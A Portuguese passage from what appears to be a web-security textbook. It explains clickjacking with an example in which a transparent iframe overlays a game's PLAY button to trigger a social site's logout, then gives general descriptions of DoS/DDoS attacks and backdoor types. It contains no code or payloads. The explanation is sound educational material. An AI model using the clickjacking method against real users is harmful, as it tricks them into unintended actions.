As páginas da web que foram configuradas com armadilhas não apresentam conteúdo impróprio na superfície, mas já possuem links incorporados nos quais desejam que os usuários cliquem. Quando o usuário clica no botão transparente, ele clica na página iframe que especificou o elemento de atributo transparente.
Exemplo de ataque de click-jacking
O seguinte usa a função de logout de um site SNS como exemplo para explicar os ataques de click-jacking. Com esta função de logout, os usuários registrados do SNS só precisam clicar no botão logout para sair do site do SNS.
Os invasores colocam armadilhas nas páginas da Web nas quais os usuários devem clicar. O botão PLAY na página do jogo de pesca ilustrada acima é um exemplo desse tipo de armadilha. Na página da web adulterada, a página de função de logout do SNS do alvo será sobreposta na página do jogo como uma camada transparente. Ao substituir, certifique-se de que o botão PLAY seja consistente com a localização da página do botão de logout.
11.5.3 Ataque DoS
O ataque DoS (ataque de negação de serviço) é um ataque que interrompe a execução de serviços. Às vezes também é chamado de ataque de interrupção de serviço ou ataque de negação de serviço. Os objetos dos ataques DoS não estão limitados a sites, mas também incluem dispositivos de rede e servidores.
Existem principalmente os dois métodos de ataque DoS a seguir.
O uso centralizado de solicitações de acesso causa sobrecarga de recursos e, quando os recursos se esgotam, o serviço realmente para.
Interrompendo o serviço explorando uma falha de segurança.
Entre eles, o ataque DoS que se concentra em solicitações de acesso consiste simplesmente em enviar um grande número de solicitações legítimas. É difícil para o servidor distinguir o que é uma solicitação normal e o que é uma solicitação de ataque, por isso é difícil prevenir ataques DoS.
Um ataque DoS lançado por vários computadores é chamado de ataque DDoS (ataque distribuído de negação de serviço). Os ataques DDoS normalmente usam esses computadores infectados como plataforma de lançamento para os invasores.
11.5.4 Programa Backdoor
Programa Backdoor (Backdoor) refere-se à entrada oculta das configurações de desenvolvimento, que pode usar funções restritas sem seguir as etapas normais. A utilização do backdoor permite acesso a funções que de outra forma seriam restritas. Os programas backdoor comuns são divididos nos três tipos a seguir.
O programa backdoor invocado como Debug durante o estágio de desenvolvimento O
programa backdoor implantado pelo desenvolvedor para seu próprio benefício O
programa backdoor definido pelo invasor através de um determinado método
Um backdoor implantado pode ser descoberto monitorando o status dos processos e das comunicações.
No entanto , os programas backdoor instalados em aplicativos da web geralmente são difíceis de encontrar porque não são muito diferentes do uso normal.